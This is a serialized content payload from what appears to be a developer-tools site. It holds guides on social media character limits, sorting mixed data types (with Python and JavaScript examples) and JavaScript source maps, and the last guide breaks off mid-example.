networks.",[11,190300,1355],{"id":1354},[41,190302,190303,190306,190309,190312,190315,190318],{},[44,190304,190305],{},"Every platform has different limits for posts, bios, DMs, and comments",[44,190307,190308],{},"Feed truncation happens well before the character limit — front-load your message",[44,190310,190311],{},"X tweets are 280 characters (free), Instagram captions 2,200, LinkedIn posts 3,000",[44,190313,190314],{},"Emojis and special characters may count differently than you expect",[44,190316,190317],{},"Shorter posts often outperform longer ones on Facebook and LinkedIn",[44,190319,190320],{},"Always verify character count before publishing across platforms",[11,190322,286],{"id":285},[16,190324,190325,190326,190328],{},"Count characters, words, and sentences instantly with our free ",[98,190327,3237],{"href":3236},". Paste any text to see real-time stats including character count, word count, reading time, and more — all processed locally in your browser.",[16,190330,190331],{},[98,190332,190333],{"href":3236},"Try the Word Counter →",[2043,190335,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":190337},[190338,190339,190347,190348,190354,190355],{"id":189783,"depth":337,"text":189784},{"id":189790,"depth":337,"text":189791,"children":190340},[190341,190342,190343,190344,190345,190346],{"id":189794,"depth":343,"text":189795},{"id":189856,"depth":343,"text":23920},{"id":189915,"depth":343,"text":23941},{"id":189985,"depth":343,"text":23962},{"id":190045,"depth":343,"text":190046},{"id":190095,"depth":343,"text":23972},{"id":88350,"depth":337,"text":88351},{"id":190240,"depth":337,"text":190241,"children":190349},[190350,190351,190352,190353],{"id":190244,"depth":343,"text":190245},{"id":190266,"depth":343,"text":190267},{"id":190273,"depth":343,"text":190274},{"id":190294,"depth":343,"text":190295},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Complete reference for social media character limits. Know the exact limits for Twitter\u002FX, Instagram, LinkedIn, Facebook, TikTok, and YouTube.",{"immutable":363},{"title":189778,"description":190356},"guides\u002Fsocial-media-character-limits","xC5ZkSrpmrfwqyrCJ3k23ExvXI91KqR0a9T5sJrSu-c",{"id":190362,"title":190363,"body":190364,"date":2070,"description":190925,"extension":361,"meta":190926,"navigation":363,"path":190929,"readingTime":1710,"seo":190930,"stem":190931,"__hash__":190932},"guides\u002Fguides\u002Fsorting-mixed-data-types.md","Sorting Mixed Data Types: Numbers, Text, and Dates in One List",{"type":8,"value":190365,"toc":190906},[190366,190370,190373,190384,190387,190391,190394,190445,190452,190456,190459,190475,190493,190497,190503,190506,190510,190516,190524,190530,190533,190536,190540,190543,190563,190566,190570,190631,190635,190637,190657,190673,190675,190858,190860,190881,190883,190889,190891,190903],[11,190367,190369],{"id":190368},"the-mixed-type-sorting-problem","The Mixed-Type Sorting Problem",[16,190371,190372],{},"Real-world data is rarely uniform. A spreadsheet column might contain numbers, text labels, dates, and blank cells all mixed together. When you sort this kind of data, the results depend entirely on how the sorting tool handles type differences.",[16,190374,190375,190376,190379,190380,190383],{},"Sort a list like ",[143,190377,190378],{},"100, apple, 42, banana, 7"," alphabetically and you get ",[143,190381,190382],{},"100, 42, 7, apple, banana"," — because the comparison treats everything as text. Sort it numerically and the text entries either get pushed to one end or cause errors.",[16,190385,190386],{},"Understanding how mixed-type sorting works helps you predict results and choose the right approach.",[11,190388,190390],{"id":190389},"type-comparison-rules","Type Comparison Rules",[16,190392,190393],{},"When a sorting algorithm compares two values of different types, it needs a rule. There are three common strategies:",[193,190395,190396,190407],{},[196,190397,190398],{},[199,190399,190400,190402,190404],{},[202,190401,39330],{},[202,190403,31483],{},[202,190405,190406],{},"Example Order",[211,190408,190409,190421,190434],{},[199,190410,190411,190414,190417],{},[216,190412,190413],{},"All-as-text",[216,190415,190416],{},"Convert everything to strings first",[216,190418,190419],{},[143,190420,190382],{},[199,190422,190423,190426,190429],{},[216,190424,190425],{},"Type priority",[216,190427,190428],{},"Sort by type group, then within type",[216,190430,190431],{},[143,190432,190433],{},"7, 42, 100, apple, banana",[199,190435,190436,190439,190442],{},[216,190437,190438],{},"Error on mismatch",[216,190440,190441],{},"Reject lists with mixed types",[216,190443,190444],{},"Throws error",[16,190446,190447,190448,190451],{},"Most practical tools use ",[47,190449,190450],{},"type priority",": numbers sort together first (by value), then text (alphabetically), then dates (chronologically). This produces the most intuitive result.",[11,190453,190455],{"id":190454},"numbers-vs-text-strings","Numbers vs. Text Strings",[16,190457,190458],{},"The most common mixed-type scenario is numbers and text in the same list.",[16,190460,190461,190464,190465,142725,190467,142728,190469,190471,190472,190474],{},[47,190462,190463],{},"Alphabetical sort"," compares character codes, so ",[143,190466,18114],{},[143,190468,14520],{},[143,190470,3585],{}," \u003C ",[143,190473,12546],{},". This is technically correct but visually wrong.",[16,190476,190477,190480,190481,1856,190483,190485,190486,190489,190490,190492],{},[47,190478,190479],{},"Numeric sort"," treats ",[143,190482,18114],{},[143,190484,14520],{}," as numbers and orders them by value: ",[143,190487,190488],{},"42, 100",". Text entries like ",[143,190491,142712],{}," cannot be parsed as numbers, so they fall to the end or get grouped separately.",[33,190494,190496],{"id":190495},"practical-example","Practical Example",[135,190498,190501],{"className":190499,"code":190500,"language":140},[138],"Input:    100, apple, 42, banana, 7, cherry\n\nType priority sort (numbers first):\n         7, 42, 100, apple, banana, cherry\n\nType priority sort (text first):\n         apple, banana, cherry, 7, 42, 100\n",[143,190502,190500],{"__ignoreMap":141},[16,190504,190505],{},"The choice of which group comes first depends on convention. Numeric-first is more common because data lists tend to have numerical entries at the top.",[11,190507,190509],{"id":190508},"sorting-dates-alongside-other-types","Sorting Dates Alongside Other Types",[16,190511,190512,190513,190515],{},"Dates add another layer. The string ",[143,190514,83700],{}," looks like text to a naive sort, but semantically it represents a point in time.",[16,190517,190518,190519,190521,190522,468],{},"If your tool recognizes date formats (ISO 8601, MM\u002FDD\u002FYYYY, etc.), it can parse them into timestamps and sort chronologically. If not, dates sort as text — which happens to work correctly for ISO format (",[143,190520,88302],{},") but fails for formats like ",[143,190523,83703],{},[135,190525,190528],{"className":190526,"code":190527,"language":140},[138],"ISO dates sorted as text (correct):\n  2025-03-01, 2025-12-01, 2026-01-15\n\nUS dates sorted as text (wrong):\n  01\u002F15\u002F2026, 03\u002F01\u002F2025, 12\u002F01\u002F2025\n",[143,190529,190527],{"__ignoreMap":141},[33,190531,49059],{"id":190532},"recommendation",[16,190534,190535],{},"Convert dates to ISO 8601 format before sorting if your tool lacks date-aware parsing. This guarantees correct chronological order even with text-based sorting.",[11,190537,190539],{"id":190538},"handling-blank-lines-and-empty-values","Handling Blank Lines and Empty Values",[16,190541,190542],{},"Blank lines and empty cells are a special type. They carry no information but disrupt sorting:",[41,190544,190545,190551,190557],{},[44,190546,190547,190550],{},[47,190548,190549],{},"Sorted to the top"," — blanks appear first in ascending order (empty string sorts before any character)",[44,190552,190553,190556],{},[47,190554,190555],{},"Sorted to the bottom"," — some tools push blanks to the end regardless of direction",[44,190558,190559,190562],{},[47,190560,190561],{},"Removed"," — the cleanest option when blanks serve no purpose",[16,190564,190565],{},"Most list sorters include a \"remove blank lines\" option. Use it unless blanks are intentional separators.",[11,190567,190569],{"id":190568},"sorting-strategy-by-data-composition","Sorting Strategy by Data Composition",[193,190571,190572,190582],{},[196,190573,190574],{},[199,190575,190576,190579],{},[202,190577,190578],{},"Data Composition",[202,190580,190581],{},"Recommended Approach",[211,190583,190584,190591,190599,190607,190615,190623],{},[199,190585,190586,190589],{},[216,190587,190588],{},"All numbers",[216,190590,190479],{},[199,190592,190593,190596],{},[216,190594,190595],{},"All text",[216,190597,190598],{},"Alphabetical sort (case-insensitive)",[199,190600,190601,190604],{},[216,190602,190603],{},"Numbers + text",[216,190605,190606],{},"Type priority sort (numbers first)",[199,190608,190609,190612],{},[216,190610,190611],{},"Numbers + dates",[216,190613,190614],{},"Numeric sort after converting dates to timestamps",[199,190616,190617,190620],{},[216,190618,190619],{},"Mixed numbers, text, dates",[216,190621,190622],{},"Type priority with date parsing",[199,190624,190625,190628],{},[216,190626,190627],{},"Versions (1.2.10)",[216,190629,190630],{},"Natural sort or version sort",[11,190632,190634],{"id":190633},"programming-language-approaches","Programming Language Approaches",[33,190636,9840],{"id":8261},[135,190638,190640],{"className":8259,"code":190639,"language":8261,"meta":141,"style":141},"mixed = ['100', 'apple', '42', 'banana', '7']\nsorted_list = sorted(mixed, key=lambda x: (not x.isdigit(), int(x) if x.isdigit() else x.lower()))\n# Result: ['7', '42', '100', 'apple', 'banana']\n",[143,190641,190642,190647,190652],{"__ignoreMap":141},[1560,190643,190644],{"class":1562,"line":1563},[1560,190645,190646],{},"mixed = ['100', 'apple', '42', 'banana', '7']\n",[1560,190648,190649],{"class":1562,"line":337},[1560,190650,190651],{},"sorted_list = sorted(mixed, key=lambda x: (not x.isdigit(), int(x) if x.isdigit() else x.lower()))\n",[1560,190653,190654],{"class":1562,"line":343},[1560,190655,190656],{},"# Result: ['7', '42', '100', 'apple', 'banana']\n",[16,190658,190659,190660,190663,190664,190667,190668,190670,190671,9368],{},"The key function assigns a tuple: ",[143,190661,190662],{},"(False, numeric_value)"," for numbers and ",[143,190665,190666],{},"(True, lowercase_text)"," for strings. Python sorts tuples element-by-element, so all numbers (with ",[143,190669,154750],{},") come before all text (with ",[143,190672,154720],{},[33,190674,9860],{"id":1609},[135,190676,190678],{"className":1607,"code":190677,"language":1609,"meta":141,"style":141},"const mixed = ['100', 'apple', '42', 'banana', '7'];\nmixed.sort((a, b) => {\n  const aNum = Number(a), bNum = Number(b);\n  const aIsNum = !isNaN(aNum), bIsNum = !isNaN(bNum);\n  if (aIsNum && bIsNum) return aNum - bNum;\n  if (aIsNum) return -1;\n  if (bIsNum) return 1;\n  return a.localeCompare(b);\n});\n\u002F\u002F Result: ['7', '42', '100', 'apple', 'banana']\n",[143,190679,190680,190716,190737,190761,190789,190811,190826,190839,190849,190853],{"__ignoreMap":141},[1560,190681,190682,190684,190687,190689,190691,190694,190696,190699,190701,190704,190706,190709,190711,190714],{"class":1562,"line":1563},[1560,190683,8180],{"class":1669},[1560,190685,190686],{"class":1576}," mixed",[1560,190688,8186],{"class":1669},[1560,190690,39830],{"class":1570},[1560,190692,190693],{"class":5634},"'100'",[1560,190695,1459],{"class":1570},[1560,190697,190698],{"class":5634},"'apple'",[1560,190700,1459],{"class":1570},[1560,190702,190703],{"class":5634},"'42'",[1560,190705,1459],{"class":1570},[1560,190707,190708],{"class":5634},"'banana'",[1560,190710,1459],{"class":1570},[1560,190712,190713],{"class":5634},"'7'",[1560,190715,13502],{"class":1570},[1560,190717,190718,190721,190723,190725,190727,190729,190731,190733,190735],{"class":1562,"line":337},[1560,190719,190720],{"class":1570},"mixed.",[1560,190722,100488],{"class":1566},[1560,190724,11495],{"class":1570},[1560,190726,98],{"class":2219},[1560,190728,1459],{"class":1570},[1560,190730,28973],{"class":2219},[1560,190732,1733],{"class":1570},[1560,190734,11503],{"class":1669},[1560,190736,1571],{"class":1570},[1560,190738,190739,190741,190744,190746,190748,190751,190754,190756,190758],{"class":1562,"line":343},[1560,190740,28057],{"class":1669},[1560,190742,190743],{"class":1576}," aNum",[1560,190745,8186],{"class":1669},[1560,190747,81686],{"class":1566},[1560,190749,190750],{"class":1570},"(a), ",[1560,190752,190753],{"class":1576},"bNum",[1560,190755,8186],{"class":1669},[1560,190757,81686],{"class":1566},[1560,190759,190760],{"class":1570},"(b);\n",[1560,190762,190763,190765,190768,190770,190772,190774,190777,190780,190782,190784,190786],{"class":1562,"line":365},[1560,190764,28057],{"class":1669},[1560,190766,190767],{"class":1576}," aIsNum",[1560,190769,8186],{"class":1669},[1560,190771,26754],{"class":1669},[1560,190773,158166],{"class":1566},[1560,190775,190776],{"class":1570},"(aNum), ",[1560,190778,190779],{"class":1576},"bIsNum",[1560,190781,8186],{"class":1669},[1560,190783,26754],{"class":1669},[1560,190785,158166],{"class":1566},[1560,190787,190788],{"class":1570},"(bNum);\n",[1560,190790,190791,190793,190796,190798,190801,190803,190806,190808],{"class":1562,"line":889},[1560,190792,27984],{"class":1669},[1560,190794,190795],{"class":1570}," (aIsNum ",[1560,190797,114154],{"class":1669},[1560,190799,190800],{"class":1570}," bIsNum) ",[1560,190802,28313],{"class":1669},[1560,190804,190805],{"class":1570}," aNum ",[1560,190807,9412],{"class":1669},[1560,190809,190810],{"class":1570}," bNum;\n",[1560,190812,190813,190815,190818,190820,190822,190824],{"class":1562,"line":1710},[1560,190814,27984],{"class":1669},[1560,190816,190817],{"class":1570}," (aIsNum) ",[1560,190819,28313],{"class":1669},[1560,190821,22908],{"class":1669},[1560,190823,3585],{"class":1576},[1560,190825,2228],{"class":1570},[1560,190827,190828,190830,190833,190835,190837],{"class":1562,"line":1717},[1560,190829,27984],{"class":1669},[1560,190831,190832],{"class":1570}," (bIsNum) ",[1560,190834,28313],{"class":1669},[1560,190836,18868],{"class":1576},[1560,190838,2228],{"class":1570},[1560,190840,190841,190843,190845,190847],{"class":1562,"line":1747},[1560,190842,9350],{"class":1669},[1560,190844,158028],{"class":1570},[1560,190846,157520],{"class":1566},[1560,190848,190760],{"class":1570},[1560,190850,190851],{"class":1562,"line":2507},[1560,190852,11809],{"class":1570},[1560,190854,190855],{"class":1562,"line":2524},[1560,190856,190857],{"class":1649},"\u002F\u002F Result: ['7', '42', '100', 'apple', 'banana']\n",[11,190859,1355],{"id":1354},[41,190861,190862,190865,190872,190875,190878],{},[44,190863,190864],{},"Mixed-type sorting requires a type priority rule — numbers first, then text, then dates — to produce intuitive results",[44,190866,190867,190868,156963,190870,1525],{},"Alphabetical sort on mixed data treats numbers as text, producing misleading order (",[143,190869,18114],{},[143,190871,14520],{},[44,190873,190874],{},"Dates should be in ISO 8601 format if your tool cannot parse date strings",[44,190876,190877],{},"Blank lines should typically be removed before sorting to avoid cluttering the result",[44,190879,190880],{},"In code, a custom key or comparator that checks types gives you full control over the sort order",[11,190882,286],{"id":285},[16,190884,190885,190886,190888],{},"Paste any mixed list into our ",[98,190887,6341],{"href":6340}," and instantly see it organized. Toggle between alphabetical and numeric modes to compare results side by side.",[11,190890,321],{"id":320},[41,190892,190893,190898],{},[44,190894,190895,190897],{},[98,190896,6352],{"href":6351}," — all sorting modes and practical workflows",[44,190899,190900,190902],{},[98,190901,6358],{"href":6357}," — removing blanks, duplicates, and whitespace",[2043,190904,190905],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":190907},[190908,190909,190910,190913,190916,190917,190918,190922,190923,190924],{"id":190368,"depth":337,"text":190369},{"id":190389,"depth":337,"text":190390},{"id":190454,"depth":337,"text":190455,"children":190911},[190912],{"id":190495,"depth":343,"text":190496},{"id":190508,"depth":337,"text":190509,"children":190914},[190915],{"id":190532,"depth":343,"text":49059},{"id":190538,"depth":337,"text":190539},{"id":190568,"depth":337,"text":190569},{"id":190633,"depth":337,"text":190634,"children":190919},[190920,190921],{"id":8261,"depth":343,"text":9840},{"id":1609,"depth":343,"text":9860},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to sort lists containing mixed data types — numbers, text strings, and dates — without losing information or producing confusing results.",{"keywords":190927,"immutable":363},[6380,190928],"sorting-mixed-data-types","\u002Fguides\u002Fsorting-mixed-data-types",{"title":190363,"description":190925},"guides\u002Fsorting-mixed-data-types","H3XRaZstGOKQoGRiKpoxWD_aZ03yK5HpYR34Pz-BHSY",{"id":190934,"title":190935,"body":190936,"date":2070,"description":191404,"extension":361,"meta":191405,"navigation":363,"path":191406,"readingTime":1710,"seo":191407,"stem":191408,"__hash__":191409},"guides\u002Fguides\u002Fsource-maps-explained.md","Source Maps Explained for Debugging",{"type":8,"value":190937,"toc":191397},[190938,190941,190945,190952,190972,190975,191073,191076,191146,191157,191161,191164,191185,191188,191191,191195,191198,191203,191247,191280,191284,191328,191339,191343,191346,191349,191358,191364,191375,191379,191386,191389,191395],[16,190939,190940],{},"Production JavaScript bears little resemblance to the source code developers write. Features like TypeScript types, JSX syntax, and long descriptive variable names are stripped during compilation and minification. When errors occur in production, the resulting stack traces reference compressed, mangled code that is nearly impossible to read. Source maps solve this problem by providing a mapping between the transformed output and the original source, enabling browsers and debugging tools to reconstruct readable stack traces and even step through original code in DevTools.",[11,190942,190944],{"id":190943},"what-source-maps-contain","What Source Maps Contain",[16,190946,190947,190948,190951],{},"A source map is a JSON file (typically ",[143,190949,190950],{},".js.map",") that encodes three relationships:",[77,190953,190954,190960,190966],{},[44,190955,190956,190959],{},[47,190957,190958],{},"Original file locations",": The source files and their paths before transformation",[44,190961,190962,190965],{},[47,190963,190964],{},"Generated file locations",": The positions in the compiled\u002Fminified output",[44,190967,190968,190971],{},[47,190969,190970],{},"Mapping between them",": A compact encoding that maps every position in the generated output back to a position in the original source",[16,190973,190974],{},"The mapping uses a variable-length quantity encoding called VLQ (Variable-Length Quantity). Here is what a simplified source map looks like:",[135,190976,190978],{"className":23484,"code":190977,"language":23486,"meta":141,"style":141},"{\n  \"version\": 3,\n  \"sources\": [\"app.ts\", \"utils.ts\"],\n  \"sourcesContent\": [\"const greet = (name: string) => ...\", \"export function formatDate(...)\"],\n  \"names\": [\"greet\", \"formatDate\", \"userName\"],\n  \"mappings\": \"AAAA;AACA,SAAS,GAAG...\",\n  \"file\": \"bundle.js\"\n}\n",[143,190979,190980,190984,190994,191010,191027,191049,191060,191069],{"__ignoreMap":141},[1560,190981,190982],{"class":1562,"line":1563},[1560,190983,23493],{"class":1570},[1560,190985,190986,190988,190990,190992],{"class":1562,"line":337},[1560,190987,134768],{"class":1576},[1560,190989,1663],{"class":1570},[1560,190991,17821],{"class":1576},[1560,190993,11943],{"class":1570},[1560,190995,190996,190998,191000,191003,191005,191008],{"class":1562,"line":343},[1560,190997,134791],{"class":1576},[1560,190999,37187],{"class":1570},[1560,191001,191002],{"class":5634},"\"app.ts\"",[1560,191004,1459],{"class":1570},[1560,191006,191007],{"class":5634},"\"utils.ts\"",[1560,191009,12044],{"class":1570},[1560,191011,191012,191015,191017,191020,191022,191025],{"class":1562,"line":365},[1560,191013,191014],{"class":1576},"  \"sourcesContent\"",[1560,191016,37187],{"class":1570},[1560,191018,191019],{"class":5634},"\"const greet = (name: string) => ...\"",[1560,191021,1459],{"class":1570},[1560,191023,191024],{"class":5634},"\"export function formatDate(...)\"",[1560,191026,12044],{"class":1570},[1560,191028,191029,191032,191034,191037,191039,191042,191044,191047],{"class":1562,"line":889},[1560,191030,191031],{"class":1576},"  \"names\"",[1560,191033,37187],{"class":1570},[1560,191035,191036],{"class":5634},"\"greet\"",[1560,191038,1459],{"class":1570},[1560,191040,191041],{"class":5634},"\"formatDate\"",[1560,191043,1459],{"class":1570},[1560,191045,191046],{"class":5634},"\"userName\"",[1560,191048,12044],{"class":1570},[1560,191050,191051,191053,191055,191058],{"class":1562,"line":1710},[1560,191052,134808],{"class":1576},[1560,191054,1663],{"class":1570},[1560,191056,191057],{"class":5634},"\"AAAA;AACA,SAAS,GAAG...\"",[1560,191059,11943],{"class":1570},[1560,191061,191062,191064,191066],{"class":1562,"line":1717},[1560,191063,134779],{"class":1576},[1560,191065,1663],{"class":1570},[1560,191067,191068],{"class":5634},"\"bundle.js\"\n",[1560,191070,191071],{"class":1562,"line":1747},[1560,191072,1585],{"class":1570},[16,191074,191075],{},"Key fields:",[193,191077,191078,191086],{},[196,191079,191080],{},[199,191081,191082,191084],{},[202,191083,14305],{},[202,191085,2758],{},[211,191087,191088,191097,191107,191117,191127,191137],{},[199,191089,191090,191094],{},[216,191091,191092],{},[143,191093,8243],{},[216,191095,191096],{},"Source map spec version (always 3)",[199,191098,191099,191104],{},[216,191100,191101],{},[143,191102,191103],{},"sources",[216,191105,191106],{},"Array of original source file paths",[199,191108,191109,191114],{},[216,191110,191111],{},[143,191112,191113],{},"sourcesContent",[216,191115,191116],{},"Optional: original source text (enables in-browser debugging without file access)",[199,191118,191119,191124],{},[216,191120,191121],{},[143,191122,191123],{},"names",[216,191125,191126],{},"Original identifier names before mangling",[199,191128,191129,191134],{},[216,191130,191131],{},[143,191132,191133],{},"mappings",[216,191135,191136],{},"VLQ-encoded position mappings",[199,191138,191139,191143],{},[216,191140,191141],{},[143,191142,110447],{},[216,191144,191145],{},"The generated file this map corresponds to",[16,191147,191148,191149,191152,191153,191156],{},"The browser discovers the source map through a special comment at the end of the generated file: ",[143,191150,191151],{},"\u002F\u002F# sourceMappingURL=bundle.js.map",", or via the ",[143,191154,191155],{},"SourceMap"," HTTP header.",[11,191158,191160],{"id":191159},"how-browsers-use-source-maps","How Browsers Use Source Maps",[16,191162,191163],{},"When DevTools is open and source maps are enabled (the default), the browser:",[77,191165,191166,191173,191176,191179,191182],{},[44,191167,191168,191169,191172],{},"Detects the ",[143,191170,191171],{},"sourceMappingURL"," comment or header in the JavaScript file",[44,191174,191175],{},"Fetches the source map file",[44,191177,191178],{},"Decodes the VLQ mappings",[44,191180,191181],{},"Reconstructs the original source files in the Sources panel",[44,191183,191184],{},"Translates stack trace positions from generated coordinates to original coordinates",[16,191186,191187],{},"This reconstruction lets you set breakpoints, inspect variables, and step through code using the original TypeScript or JSX source, even though the browser is actually executing compiled JavaScript.",[16,191189,191190],{},"When DevTools is closed, the browser ignores source maps entirely—they have zero runtime performance impact on end users.",[11,191192,191194],{"id":191193},"configuring-source-map-generation","Configuring Source Map Generation",[16,191196,191197],{},"Each build tool has its own source map configuration:",[16,191199,191200,191202],{},[47,191201,9643],{}," (and Nuxt, which wraps Vite):",[135,191204,191206],{"className":17509,"code":191205,"language":17511,"meta":141,"style":141},"\u002F\u002F vite.config.ts\nexport default defineConfig({\n  build: {\n    sourcemap: true,         \u002F\u002F boolean | 'inline' | 'hidden'\n  },\n})\n",[143,191207,191208,191212,191222,191226,191239,191243],{"__ignoreMap":141},[1560,191209,191210],{"class":1562,"line":1563},[1560,191211,20511],{"class":1649},[1560,191213,191214,191216,191218,191220],{"class":1562,"line":337},[1560,191215,9187],{"class":1669},[1560,191217,11837],{"class":1669},[1560,191219,17522],{"class":1566},[1560,191221,17525],{"class":1570},[1560,191223,191224],{"class":1562,"line":343},[1560,191225,11844],{"class":1570},[1560,191227,191228,191231,191233,191236],{"class":1562,"line":365},[1560,191229,191230],{"class":1570},"    sourcemap: ",[1560,191232,20533],{"class":1576},[1560,191234,191235],{"class":1570},",         ",[1560,191237,191238],{"class":1649},"\u002F\u002F boolean | 'inline' | 'hidden'\n",[1560,191240,191241],{"class":1562,"line":889},[1560,191242,11862],{"class":1570},[1560,191244,191245],{"class":1562,"line":1710},[1560,191246,1626],{"class":1570},[41,191248,191249,191260,191269],{},[44,191250,191251,191253,191254,191256,191257,191259],{},[143,191252,20533],{},": Generates ",[143,191255,134753],{}," files and adds the ",[143,191258,191171],{}," comment. Visible in DevTools and deployable.",[44,191261,191262,191265,191266,191268],{},[143,191263,191264],{},"'inline'",": Embeds the source map as a base64 data URI in the JavaScript file. No separate ",[143,191267,134753],{}," file. Increases bundle size significantly—not recommended for production.",[44,191270,191271,191253,191274,191276,191277,191279],{},[143,191272,191273],{},"'hidden'",[143,191275,134753],{}," files but omits the ",[143,191278,191171],{}," comment. Browsers won't fetch them automatically, but error monitoring tools can use them if you upload the files separately.",[16,191281,191282,8037],{},[47,191283,20926],{},[135,191285,191287],{"className":1607,"code":191286,"language":1609,"meta":141,"style":141},"await esbuild.build({\n  sourcemap: true,      \u002F\u002F 'linked' | 'inline' | 'external'\n  sourcesContent: true, \u002F\u002F include original source in the map\n})\n",[143,191288,191289,191299,191312,191324],{"__ignoreMap":141},[1560,191290,191291,191293,191295,191297],{"class":1562,"line":1563},[1560,191292,38273],{"class":1669},[1560,191294,134228],{"class":1570},[1560,191296,134231],{"class":1566},[1560,191298,17525],{"class":1570},[1560,191300,191301,191304,191306,191309],{"class":1562,"line":337},[1560,191302,191303],{"class":1570},"  sourcemap: ",[1560,191305,20533],{"class":1576},[1560,191307,191308],{"class":1570},",      ",[1560,191310,191311],{"class":1649},"\u002F\u002F 'linked' | 'inline' | 'external'\n",[1560,191313,191314,191317,191319,191321],{"class":1562,"line":343},[1560,191315,191316],{"class":1570},"  sourcesContent: ",[1560,191318,20533],{"class":1576},[1560,191320,1459],{"class":1570},[1560,191322,191323],{"class":1649},"\u002F\u002F include original source in the map\n",[1560,191325,191326],{"class":1562,"line":365},[1560,191327,1626],{"class":1570},[16,191329,191330,191332,191333,98763,191336,468],{},[47,191331,9630],{}," enables source maps by default in development. For production, set ",[143,191334,191335],{},"productionBrowserSourceMaps: true",[143,191337,191338],{},"next.config.js",[11,191340,191342],{"id":191341},"source-maps-in-production-security-considerations","Source Maps in Production: Security Considerations",[16,191344,191345],{},"Deploying source maps to your public CDN exposes your original source code—including TypeScript types, comments, and internal file structure—to anyone who opens DevTools. This is acceptable for open-source projects but problematic for proprietary codebases.",[16,191347,191348],{},"Three strategies for handling source maps in production:",[16,191350,191351,191354,191355,191357],{},[47,191352,191353],{},"Option 1: Hidden source maps + error monitoring."," Generate source maps during build but do not deploy them publicly. Upload them to your error monitoring service (Sentry, Bugsnag, Datadog). The ",[143,191356,44183],{}," mode ensures browsers never fetch the maps, while your monitoring service applies them to incoming stack traces server-side.",[16,191359,191360,191363],{},[47,191361,191362],{},"Option 2: Restricted access."," Deploy source maps to a separate, access-controlled domain or path behind authentication. Only authorized developers can fetch them during debugging.",[16,191365,191366,191371,191372,191374],{},[47,191367,191368,191369,468],{},"Option 3: Skip ",[143,191370,191113],{}," Omit the ",[143,191373,191113],{}," field from source maps. The mapping still works for position translation (variable names, line numbers), but the original source text is not embedded. Developers need access to the source repository to view full code in DevTools.",[11,191376,191378],{"id":191377},"debugging-without-source-maps","Debugging Without Source Maps",[16,191380,191381,191382,191385],{},"When source maps are unavailable—perhaps a third-party script does not ship them—you can still extract useful information from minified code. Browser DevTools offer a \"Pretty print\" button (",[143,191383,191384],{},"{ }",") that reformats compressed code with proper indentation. This does not restore original variable names or types, but it makes the code structure readable enough to follow control flow.",[16,191387,191388],{},"For JavaScript files where you control the build, always generate source maps. The debugging productivity gain outweighs the minimal build configuration effort.",[16,191390,191391,191392,191394],{},"To minify JavaScript while preserving the ability to debug later, use the ",[98,191393,134456],{"href":133827}," and keep your source files alongside the minified output.",[2043,191396,81221],{},{"title":141,"searchDepth":337,"depth":337,"links":191398},[191399,191400,191401,191402,191403],{"id":190943,"depth":337,"text":190944},{"id":191159,"depth":337,"text":191160},{"id":191193,"depth":337,"text":191194},{"id":191341,"depth":337,"text":191342},{"id":191377,"depth":337,"text":191378},"How source maps link minified production code back to readable source for debugging.",{},"\u002Fguides\u002Fsource-maps-explained",{"title":190935,"description":191404},"guides\u002Fsource-maps-explained","dH---jlOmntZwKcQNuWsDcueKYwHdpmbAipEoR7gQwY",{"id":191411,"title":191412,"body":191413,"date":2070,"description":192066,"extension":361,"meta":192067,"navigation":363,"path":133818,"readingTime":1717,"seo":192068,"stem":192069,"__hash__":192070},"guides\u002Fguides\u002Fsource-maps-minified-code.md","Source Maps and Minified Code: Debugging Production JavaScript",{"type":8,"value":191414,"toc":192055},[191415,191422,191426,191432,191524,191529,191533,191536,191541,191592,191597,191651,191656,191676,191688,191692,191795,191801,191805,191808,191832,191842,191847,191851,191854,191857,191879,191930,191933,191935,191938,191941,191961,191963,191999,192005,192007,192030,192032,192046,192048,192053],[16,191416,191417,191418,191421],{},"When you minify JavaScript for production, variable names shorten, whitespace disappears, and the entire file may collapse onto a single line. If an error occurs in that minified bundle, the stack trace points to meaningless positions like ",[143,191419,191420],{},"app.min.js:1:4829",". Source maps solve this problem by providing a mapping back to your original source code.",[11,191423,191425],{"id":191424},"what-source-maps-do","What Source Maps Do",[16,191427,191428,191429,191431],{},"A source map is a ",[143,191430,134753],{}," file that records the relationship between each position in the minified output and the corresponding position in the original source files. When the browser encounters a source map (either referenced in the minified file or loaded separately), DevTools reconstructs the original file names, line numbers, and variable names for debugging.",[135,191433,191435],{"className":23484,"code":191434,"language":23486,"meta":141,"style":141},"{\n  \"version\": 3,\n  \"file\": \"app.min.js\",\n  \"sources\": [\"app.js\", \"utils.js\", \"api.js\"],\n  \"sourcesContent\": [\"\u002F\u002F original source...\"],\n  \"names\": [\"fetchData\", \"response\", \"data\"],\n  \"mappings\": 